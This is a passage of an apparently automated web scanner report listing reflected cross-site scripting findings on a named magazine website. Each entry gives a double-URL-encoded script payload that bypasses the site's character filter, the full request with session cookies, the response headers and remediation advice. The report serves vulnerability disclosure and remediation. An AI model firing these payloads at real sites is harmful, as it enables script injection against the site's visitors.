There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /columns-blogs/bay-tripper?8455b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46cc250c867=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:36:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:36:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1388. http://www.soundingsonline.com/columns-blogs/books [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/books
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ec3c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0df49a7dd23 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8ec3c"><script>alert(1)</script>0df49a7dd23 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /columns-blogs/books?8ec3c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0df49a7dd23=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:52 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1389. http://www.soundingsonline.com/columns-blogs/new-england-fishing [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/new-england-fishing
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc3b0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e96642237bfb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dc3b0"><script>alert(1)</script>96642237bfb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /columns-blogs/new-england-fishing?dc3b0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e96642237bfb=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:35 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1390. http://www.soundingsonline.com/columns-blogs/under-way [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/columns-blogs/under-way
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52975%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edb3c7c9fe1c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 52975"><script>alert(1)</script>db3c7c9fe1c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /columns-blogs/under-way?52975%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edb3c7c9fe1c=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:35:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:35:37 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1391. http://www.soundingsonline.com/contact-us [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/contact-us
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5850%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacf387a70db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c5850"><script>alert(1)</script>acf387a70db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /contact-us?c5850%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eacf387a70db=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:44 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1392. http://www.soundingsonline.com/features [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89ad6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3cbaba1e44d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 89ad6"><script>alert(1)</script>3cbaba1e44d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features?89ad6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3cbaba1e44d=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:18 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1393. http://www.soundingsonline.com/features/in-depth [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/in-depth
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae44c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8d35706e11a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ae44c"><script>alert(1)</script>8d35706e11a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/in-depth?ae44c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8d35706e11a=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:04 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1394. http://www.soundingsonline.com/features/justyesterday [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/justyesterday
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 314be%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e162c4d495b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 314be"><script>alert(1)</script>162c4d495b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/justyesterday?314be%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e162c4d495b9=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1395. http://www.soundingsonline.com/features/lifestyle [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/lifestyle
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc1e7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e981f5a3f63a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cc1e7"><script>alert(1)</script>981f5a3f63a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/lifestyle?cc1e7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e981f5a3f63a=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:50 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1396. http://www.soundingsonline.com/features/profiles [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/profiles
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b6d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed38ae411bb6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 7b6d3"><script>alert(1)</script>d38ae411bb6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/profiles?7b6d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed38ae411bb6=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:49 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1397. http://www.soundingsonline.com/features/technical [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/technical
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22fdb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60ec098217 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 22fdb"><script>alert(1)</script>60ec098217 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/technical?22fdb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e60ec098217=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:03 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1398. http://www.soundingsonline.com/features/type-of-boat [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/features/type-of-boat
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17b36%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9fc8ed8b81c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 17b36"><script>alert(1)</script>9fc8ed8b81c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /features/type-of-boat?17b36%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9fc8ed8b81c=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:37:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:37:54 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
4.1399. http://www.soundingsonline.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b17a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea893ecab85e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9b17a"><script>alert(1)</script>a893ecab85e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
